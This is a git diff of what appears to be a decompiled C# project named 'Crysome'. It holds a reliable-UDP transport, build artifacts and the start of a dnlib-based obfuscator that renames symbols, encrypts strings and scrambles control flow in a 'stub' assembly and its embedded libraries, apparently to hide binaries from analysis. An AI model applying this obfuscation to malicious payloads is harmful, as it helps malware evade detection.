byte[] data) + { + Task.Run(delegate + { + try + { + this.UnreliableFrameReceived?.Invoke(typeId, data); + } + catch + { + } + }); + } + + private async void RetransmitLoop(CancellationToken ct) + { + while (!ct.IsCancellationRequested && !_disposed) + { + await Task.Delay(50, ct).ContinueWith(delegate + { + }); + DateTime utcNow = DateTime.UtcNow; + FragBuf value; + foreach (KeyValuePair fragBuf in _fragBufs) + { + if ((utcNow - fragBuf.Value.Created).TotalSeconds > 10.0) + { + _fragBufs.TryRemove(fragBuf.Key, out value); + } + } + foreach (KeyValuePair relFragBuf in _relFragBufs) + { + if ((utcNow - relFragBuf.Value.Created).TotalSeconds > 60.0) + { + _relFragBufs.TryRemove(relFragBuf.Key, out value); + } + } + _rtoDoubledThisCycle = false; + foreach (KeyValuePair item in _pending) + { + Pending value2 = item.Value; + if ((utcNow - value2.LastSent).TotalMilliseconds < (double)_rtoMs) + { + continue; + } + if (value2.Retries >= 15) + { + if (_pending.TryRemove(value2.Seq, out var _)) + { + PktsLost++; + UpdateLossRate(); + try + { + _sendWindow.Release(); + } + catch + { + } + } + continue; + } + value2.Retries++; + value2.LastSent = utcNow; + if (!_rtoDoubledThisCycle) + { + _rtoMs = Math.Min(_rtoMs * 2, 16000); + _rtoDoubledThisCycle = true; + } + bool flag = value2.Datagrams.Length > 4; + byte[][] datagrams = value2.Datagrams; + foreach (byte[] dg in datagrams) + { + RawSend(dg); + if (flag) + { + Thread.Sleep(1); + } + } + } + UpdateCongestionMetric(); + if ((utcNow - _lastActivity).TotalMilliseconds > 30000.0) + { + TriggerDisconnect(); + } + } + } + + private async void KeepaliveLoop(CancellationToken ct) + { + while (!ct.IsCancellationRequested && !_disposed) + { + await Task.Delay(5000, ct).ContinueWith(delegate + { + }); + if (!_disposed) + { + try + { + byte[] dg = BuildDatagram(64, 0u, 0u, 0, 1, 0, new byte[0], 0, 0); + RawSend(dg); + } + catch + { + } + continue; + } + break; + } + } + + private void SendAck(uint seq) + { + byte[] dg = BuildDatagram(4, 0u, seq, 0, 1, 0, new byte[0], 0, 0); + try + { + RawSend(dg); + } + catch + { + } + } + + private void UpdateRtt(double sample) + { + lock (_statsLock) + { + _rttvar = 0.75 * _rttvar + 0.25 * Math.Abs(_srtt - sample); + _srtt = 0.875 * _srtt + 0.125 * sample; + RttMs = _srtt; + _rtoMs = Math.Max(200, Math.Min(16000, (int)(_srtt + 4.0 * _rttvar))); + } + } + + private void UpdateLossRate() + { + double val = ((PktsSent > 0) ? ((double)PktsLost / (double)PktsSent) : 0.0); + LossRate = Math.Min(1.0, val); + } + + private void UpdateCongestionMetric() + { + UpdateLossRate(); + double num = Math.Min(1.0, RttMs / 2000.0); + double lossRate = LossRate; + double obj = Math.Min(1.0, num * 0.5 + lossRate * 0.5); + try + { + this.CongestionChanged?.Invoke(obj); + } + catch + { + } + } + + private void TriggerDisconnect() + { + if (_disposed) + { + return; + } + Dispose(); + try + { + this.Disconnected?.Invoke(); + } + catch + { + } + } + + private byte[] BuildDatagram(byte flags, uint seqNum, uint ackNum, ushort fragIdx, ushort fragCount, byte packetTypeId, byte[] payload, int payOffset, int payLen) + { + byte[] array = new byte[19 + payLen]; + Buffer.BlockCopy(BitConverter.GetBytes(SessionId), 0, array, 0, 4); + array[4] = flags; + Buffer.BlockCopy(BitConverter.GetBytes(seqNum), 0, array, 5, 4); + Buffer.BlockCopy(BitConverter.GetBytes(ackNum), 0, array, 9, 4); + Buffer.BlockCopy(BitConverter.GetBytes(fragIdx), 0, array, 13, 2); + Buffer.BlockCopy(BitConverter.GetBytes(fragCount), 0, array, 15, 2); + array[17] = packetTypeId; + array[18] = 0; + if (payLen > 0) + { + Buffer.BlockCopy(payload, payOffset, array, 19, payLen); + } + return array; + } + + private void RawSend(byte[] dg) + { + if (_disposed || dg == null) + { + return; + } + try + { + _socket.Send(dg, dg.Length, Remote); + BytesSent += dg.Length; + } + catch + { + } + } + + public static bool ParseHeader(byte[] dg, int len, out uint sessionId, out byte flags, out uint seqNum, out uint ackNum, out ushort fragIdx, out ushort fragCount, out byte packetTypeId) + { + sessionId = 0u; + flags = 0; + seqNum = 0u; + ackNum = 0u; + fragIdx = 0; + fragCount = 0; + packetTypeId = 0; + if (dg == null || len < 19) + { + return false; + } + sessionId = BitConverter.ToUInt32(dg, 0); + flags = dg[4]; + seqNum = BitConverter.ToUInt32(dg, 5); + ackNum = BitConverter.ToUInt32(dg, 9); + fragIdx = BitConverter.ToUInt16(dg, 13); + fragCount = BitConverter.ToUInt16(dg, 15); + packetTypeId = dg[17]; + return true; + } +} diff --git a/Crysome.Common/Crysome.Common.Network/UdpTransport.cs b/Crysome.Common/Crysome.Common.Network/UdpTransport.cs new file mode 100644 index 0000000..177c1a5 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network/UdpTransport.cs @@ -0,0 +1,53 @@ +using System; + +namespace Crysome.Common.Network; + +public static class UdpTransport +{ + public const int HeaderSize = 13; + + public const int MaxFragmentSize = 60000; + + public static byte[] BuildFragment(uint sessionToken, byte packetTypeId, uint frameSeq, ushort fragIdx, ushort fragCount, byte[] payloadData, int payloadOffset, int payloadLength) + { + byte[] array = new byte[13 + payloadLength]; + int num = 0; + Buffer.BlockCopy(BitConverter.GetBytes(sessionToken), 0, array, num, 4); + num += 4; + array[num++] = packetTypeId; + Buffer.BlockCopy(BitConverter.GetBytes(frameSeq), 0, array, num, 4); + num += 4; + Buffer.BlockCopy(BitConverter.GetBytes(fragIdx), 0, array, num, 2); + num += 2; + Buffer.BlockCopy(BitConverter.GetBytes(fragCount), 0, array, num, 2); + num += 2; + Buffer.BlockCopy(payloadData, payloadOffset, array, num, payloadLength); + return array; + } + + public static bool ParseHeader(byte[] datagram, int length, out uint sessionToken, out byte packetTypeId, out uint frameSeq, out ushort fragIdx, out ushort fragCount, out int payloadOffset, out int payloadLength) + { + sessionToken = 0u; + packetTypeId = 0; + frameSeq = 0u; + fragIdx = 0; + fragCount = 0; + payloadOffset = 0; + payloadLength = 0; + if (length < 13) + { + return false; + } + int num = 0; + sessionToken = BitConverter.ToUInt32(datagram, num); + num += 4; + packetTypeId = datagram[num++]; + frameSeq = BitConverter.ToUInt32(datagram, num); + num += 4; + fragIdx = BitConverter.ToUInt16(datagram, num); + num += 2; + fragCount = BitConverter.ToUInt16(datagram, num); + payloadLength = length - (payloadOffset = num + 2); + return true; + } +} diff --git a/Crysome.Common/Crysome.Common.csproj b/Crysome.Common/Crysome.Common.csproj new file mode 100644 index 0000000..f313fe5 --- /dev/null +++ b/Crysome.Common/Crysome.Common.csproj @@ -0,0 +1,10 @@ + + + net9.0-windows + true + true + ..\CRYSOME_COMPILED\ + false + false + + diff --git a/Crysome.Common/obj/Crysome.Common.csproj.nuget.dgspec.json b/Crysome.Common/obj/Crysome.Common.csproj.nuget.dgspec.json new file mode 100644 index 0000000..2071160 --- /dev/null +++ b/Crysome.Common/obj/Crysome.Common.csproj.nuget.dgspec.json @@ -0,0 +1,80 @@ +{ + "format": 1, + "restore": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj": {} + }, + "projects": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj", + "projectName": "Crysome.Common", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + }, + "Microsoft.WindowsDesktop.App.WPF": { + "privateAssets": "none" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + } + } +} \ No newline at end of file diff --git a/Crysome.Common/obj/Crysome.Common.csproj.nuget.g.props b/Crysome.Common/obj/Crysome.Common.csproj.nuget.g.props new file mode 100644 index 0000000..b837261 --- /dev/null +++ b/Crysome.Common/obj/Crysome.Common.csproj.nuget.g.props @@ -0,0 +1,17 @@ + + + + True + NuGet + $(MSBuildThisFileDirectory)project.assets.json + $(UserProfile)\.nuget\packages\ + C:\Users\lukas\.nuget\packages\;C:\Program Files\DevExpress 24.2\Components\Offline Packages;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages + PackageReference + 7.0.0 + + + + + + + \ No newline at end of file diff --git a/Crysome.Common/obj/Crysome.Common.csproj.nuget.g.targets b/Crysome.Common/obj/Crysome.Common.csproj.nuget.g.targets new file mode 100644 index 0000000..35a7576 --- /dev/null +++ b/Crysome.Common/obj/Crysome.Common.csproj.nuget.g.targets @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/Crysome.Common/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Common/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Common/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Common/obj/Debug/Crysome.Common.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Common/obj/Debug/Crysome.Common.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..e532dba --- /dev/null +++ b/Crysome.Common/obj/Debug/Crysome.Common.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,18 @@ +is_global = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Common +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Common/obj/Debug/Crysome.Common.assets.cache b/Crysome.Common/obj/Debug/Crysome.Common.assets.cache new file mode 100644 index 0000000..ffe95d0 Binary files /dev/null and b/Crysome.Common/obj/Debug/Crysome.Common.assets.cache differ diff --git a/Crysome.Common/obj/Debug/Crysome.Common.csproj.CoreCompileInputs.cache b/Crysome.Common/obj/Debug/Crysome.Common.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..ef97c82 --- /dev/null +++ b/Crysome.Common/obj/Debug/Crysome.Common.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +359d692330babefa0b65b344fb43618bf4a89220159815c331e84fe27407b968 diff --git a/Crysome.Common/obj/Debug/Crysome.Common.csproj.FileListAbsolute.txt b/Crysome.Common/obj/Debug/Crysome.Common.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..d334a2e --- /dev/null +++ b/Crysome.Common/obj/Debug/Crysome.Common.csproj.FileListAbsolute.txt @@ -0,0 +1,12 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Common.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Common.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Common.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Debug\Crysome.Common.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Debug\Crysome.Common.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Debug\Crysome.Common.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Debug\refint\Crysome.Common.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Debug\Crysome.Common.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Debug\ref\Crysome.Common.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.pdb diff --git a/Crysome.Common/obj/Debug/Crysome.Common.dll b/Crysome.Common/obj/Debug/Crysome.Common.dll new file mode 100644 index 0000000..51f0cf0 Binary files /dev/null and b/Crysome.Common/obj/Debug/Crysome.Common.dll differ diff --git a/Crysome.Common/obj/Debug/Crysome.Common.pdb b/Crysome.Common/obj/Debug/Crysome.Common.pdb new file mode 100644 index 0000000..7594a71 Binary files /dev/null and b/Crysome.Common/obj/Debug/Crysome.Common.pdb differ diff --git a/Crysome.Common/obj/Debug/ref/Crysome.Common.dll b/Crysome.Common/obj/Debug/ref/Crysome.Common.dll new file mode 100644 index 0000000..b6cb143 Binary files /dev/null and b/Crysome.Common/obj/Debug/ref/Crysome.Common.dll differ diff --git a/Crysome.Common/obj/Debug/refint/Crysome.Common.dll b/Crysome.Common/obj/Debug/refint/Crysome.Common.dll new file mode 100644 index 0000000..b6cb143 Binary files /dev/null and b/Crysome.Common/obj/Debug/refint/Crysome.Common.dll differ diff --git a/Crysome.Common/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Common/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Common/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Common/obj/Release/Crysome.Common.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Common/obj/Release/Crysome.Common.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..e532dba --- /dev/null +++ b/Crysome.Common/obj/Release/Crysome.Common.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,18 @@ +is_global = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Common +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Common/obj/Release/Crysome.Common.assets.cache b/Crysome.Common/obj/Release/Crysome.Common.assets.cache new file mode 100644 index 0000000..3bfed64 Binary files /dev/null and b/Crysome.Common/obj/Release/Crysome.Common.assets.cache differ diff --git a/Crysome.Common/obj/Release/Crysome.Common.csproj.CoreCompileInputs.cache b/Crysome.Common/obj/Release/Crysome.Common.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..db79db5 --- /dev/null +++ b/Crysome.Common/obj/Release/Crysome.Common.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +b857e8b87d15fe8d9325d4e8c31d120486046e2f3ff2cdf99da1993dee621bf5 diff --git a/Crysome.Common/obj/Release/Crysome.Common.csproj.FileListAbsolute.txt b/Crysome.Common/obj/Release/Crysome.Common.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..cfbed93 --- /dev/null +++ b/Crysome.Common/obj/Release/Crysome.Common.csproj.FileListAbsolute.txt @@ -0,0 +1,9 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Release\Crysome.Common.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Release\Crysome.Common.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Release\Crysome.Common.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Release\refint\Crysome.Common.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Release\Crysome.Common.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\obj\Release\ref\Crysome.Common.dll diff --git a/Crysome.Common/obj/Release/Crysome.Common.dll b/Crysome.Common/obj/Release/Crysome.Common.dll new file mode 100644 index 0000000..a01393c Binary files /dev/null and b/Crysome.Common/obj/Release/Crysome.Common.dll differ diff --git a/Crysome.Common/obj/Release/Crysome.Common.pdb b/Crysome.Common/obj/Release/Crysome.Common.pdb new file mode 100644 index 0000000..4a12d21 Binary files /dev/null and b/Crysome.Common/obj/Release/Crysome.Common.pdb differ diff --git a/Crysome.Common/obj/Release/ref/Crysome.Common.dll b/Crysome.Common/obj/Release/ref/Crysome.Common.dll new file mode 100644 index 0000000..7ec3d7a Binary files /dev/null and b/Crysome.Common/obj/Release/ref/Crysome.Common.dll differ diff --git a/Crysome.Common/obj/Release/refint/Crysome.Common.dll b/Crysome.Common/obj/Release/refint/Crysome.Common.dll new file mode 100644 index 0000000..7ec3d7a Binary files /dev/null and b/Crysome.Common/obj/Release/refint/Crysome.Common.dll differ diff --git a/Crysome.Common/obj/project.assets.json b/Crysome.Common/obj/project.assets.json new file mode 100644 index 0000000..07038b6 --- /dev/null +++ b/Crysome.Common/obj/project.assets.json @@ -0,0 +1,87 @@ +{ + "version": 3, + "targets": { + "net9.0-windows7.0": {} + }, + "libraries": {}, + "projectFileDependencyGroups": { + "net9.0-windows7.0": [] + }, + "packageFolders": { + "C:\\Users\\lukas\\.nuget\\packages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages": {}, + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages": {} + }, + "project": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj", + "projectName": "Crysome.Common", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + }, + "Microsoft.WindowsDesktop.App.WPF": { + "privateAssets": "none" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + } +} \ No newline at end of file diff --git a/Crysome.Common/obj/project.nuget.cache b/Crysome.Common/obj/project.nuget.cache new file mode 100644 index 0000000..c419a5c --- /dev/null +++ b/Crysome.Common/obj/project.nuget.cache @@ -0,0 +1,8 @@ +{ + "version": 2, + "dgSpecHash": "3MVKxYHnZ/Q=", + "success": true, + "projectFilePath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj", + "expectedPackageFiles": [], + "logs": [] +} \ No newline at end of file diff --git a/Crysome.Obfuscator/Crysome.Obfuscator.csproj b/Crysome.Obfuscator/Crysome.Obfuscator.csproj new file mode 100644 index 0000000..2766e10 --- /dev/null +++ b/Crysome.Obfuscator/Crysome.Obfuscator.csproj @@ -0,0 +1,11 @@ + + + net9.0-windows + ..\CRYSOME_COMPILED\ + false + false + + + + + diff --git a/Crysome.Obfuscator/Crysome.Obfuscator/CryObfuscator.cs b/Crysome.Obfuscator/Crysome.Obfuscator/CryObfuscator.cs new file mode 100644 index 0000000..f4edb8c --- /dev/null +++ b/Crysome.Obfuscator/Crysome.Obfuscator/CryObfuscator.cs @@ -0,0 +1,543 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Reflection; +using System.Text; +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using dnlib.DotNet.Writer; +using dnlib.IO; +using dnlib.Utils; + +namespace Crysome.Obfuscator; + +public static class CryObfuscator +{ + private static readonly Random _rnd = new Random(); + + private static readonly char[] _nameChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray(); + + public static void Obfuscate(string inputPath, string outputPath, Action log = null) + { + //IL_01b7: Unknown result type (might be due to invalid IL or missing references) + //IL_01be: Expected O, but got Unknown + if (log == null) + { + log = delegate + { + }; + } + if (string.IsNullOrEmpty(inputPath) || !File.Exists(inputPath)) + { + log("ERROR: Input file not found: " + inputPath); + throw new FileNotFoundException("Input file not found", inputPath); + } + string text = Path.GetDirectoryName(Path.GetFullPath(inputPath)) ?? "."; + ModuleContext val = ModuleDef.CreateModuleContext(); + string[] array = new string[2] + { + text, + Path.Combine(text, "..") + }; + foreach (string text2 in array) + { + if (!string.IsNullOrEmpty(text2) && Directory.Exists(text2)) + { + try + { + ((object)val.AssemblyResolver).GetType().GetMethod("AddSearchDirectory", new Type[1] { typeof(string) })?.Invoke(val.AssemblyResolver, new object[1] { Path.GetFullPath(text2) }); + } + catch + { + } + } + } + try + { + ModuleDefMD val2 = ModuleDefMD.Load(inputPath, val); + try + { + log("Obfuscating: " + inputPath); + RenameObfuscation((ModuleDef)(object)val2, log); + try + { + StringEncryption((ModuleDef)(object)val2, log); + } + catch (Exception ex) + { + log("String encryption skipped: " + ex.Message); + } + try + { + ControlFlowObfuscation((ModuleDef)(object)val2, log); + } + catch (Exception ex2) + { + log("Control flow skipped: " + ex2.Message); + } + try + { + AddJunkNops((ModuleDef)(object)val2, log); + } + catch (Exception ex3) + { + log("Junk NOPs skipped: " + ex3.Message); + } + try + { + ObfuscateCosturaEmbeddedAssemblies((ModuleDef)(object)val2, val, log); + } + catch (Exception ex4) + { + log("Costura embedded obfuscation skipped: " + ex4.Message); + } + ModuleWriterOptions val3 = new ModuleWriterOptions((ModuleDef)(object)val2); + ((ModuleDef)val2).Write(outputPath, val3); + log("Written: " + outputPath); + } + finally + { + ((IDisposable)val2)?.Dispose(); + } + } + catch (Exception ex5) + { + log("Obfuscation error: " + ex5.Message); + if (ex5.InnerException != null) + { + log(" Inner: " + ex5.InnerException.Message); + } + throw; + } + } + + private static string RandomName(int len = 12) + { + StringBuilder stringBuilder = new StringBuilder(len); + for (int i = 0; i < len; i++) + { + stringBuilder.Append(_nameChars[_rnd.Next(_nameChars.Length)]); + } + return stringBuilder.ToString(); + } + + private static bool ShouldRename(ITypeDefOrRef type) + { + if (type == null) + { + return false; + } + string text = ((IFullName)type).FullName ?? ""; + if (text.StartsWith("System.") || text.StartsWith("Microsoft.") || text.StartsWith("dnlib.")) + { + return false; + } + if (text.StartsWith("<") || text.Contains("AssemblyInfo")) + { + return false; + } + if (text.IndexOf("Costura", StringComparison.OrdinalIgnoreCase) >= 0) + { + return false; + } + if (text.IndexOf("Loader", StringComparison.OrdinalIgnoreCase) >= 0 && text.IndexOf("Costura", StringComparison.OrdinalIgnoreCase) >= 0) + { + return false; + } + return true; + } + + private static void RenameObfuscation(ModuleDef mod, Action log) + { + int num = 0; + int num2 = 0; + int num3 = 0; + TypeDef[] array = mod.GetTypes().ToArray(); + TypeDef[] array2 = array; + foreach (TypeDef val in array2) + { + if (!(val.Namespace == "") && !val.IsGlobalModuleType && ShouldRename((ITypeDefOrRef)(object)val)) + { + try + { + val.Name = (UTF8String)(RandomName(14)); + num++; + } + catch + { + } + } + } + array2 = array; + foreach (TypeDef val2 in array2) + { + MethodDef[] array3 = val2.Methods.ToArray(); + foreach (MethodDef val3 in array3) + { + if (val3.IsConstructor || (val3.Name == "Main" && val3.IsStatic)) + { + continue; + } + TypeDef declaringType = val3.DeclaringType; + if ((declaringType == null || !declaringType.IsGlobalModuleType) && !val3.IsNative && (!val3.IsVirtual || val3.Overrides.Count <= 0) && ShouldRename((ITypeDefOrRef)(object)val3.DeclaringType)) + { + try + { + val3.Name = (UTF8String)(RandomName(10)); + num2++; + } + catch + { + } + } + } + FieldDef[] array4 = val2.Fields.ToArray(); + foreach (FieldDef val4 in array4) + { + if (!val4.IsLiteral && ShouldRename((ITypeDefOrRef)(object)val4.DeclaringType)) + { + try + { + val4.Name = (UTF8String)(RandomName(10)); + num3++; + } + catch + { + } + } + } + } + log($"Rename: {num} types, {num2} methods, {num3} fields"); + if (num == 0 && num2 == 0) + { + log("WARNING: No symbols renamed - check if stub is correct .NET assembly."); + } + } + + private static void 